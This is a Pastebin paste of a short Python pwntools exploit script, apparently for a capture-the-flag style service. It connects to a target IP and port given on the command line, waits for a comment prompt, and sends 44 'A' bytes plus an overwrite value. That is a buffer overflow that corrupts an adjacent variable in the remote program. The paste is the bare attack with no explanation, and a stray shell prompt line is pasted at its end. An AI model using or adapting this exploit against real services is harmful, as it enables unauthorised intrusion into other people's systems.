Advertisement
tthtlc

Untitled

Feb 3rd, 2025
25
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.59 KB | None | 0 0
  1. #!/usr/bin/python3
  2.  
  3. from pwn import *
  4. import argparse
  5. #parse commandline args
  6.  
  7. parser = argparse.ArgumentParser()
  8. parser.add_argument("-i", "--ip", help="IP of target")
  9. parser.add_argument("-p", "--port", help="target port")
  10. args = parser.parse_args()
  11.  
  12. #connect and wait for the right moment to send the payload
  13. conn = remote(args.ip, args.port)
  14. conn.recvuntil(b'Please go ahead and leave a comment :\n', drop = False)
  15.  
  16. #send payload and receive response
  17. payload = b'A' * 44 + b'\x01\x00\x00\x00'
  18. conn.sendline(payload)
  19. print(conn.recvline().decode())
  20. (venv) 😊:/home/tthtlc/Desktop/
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement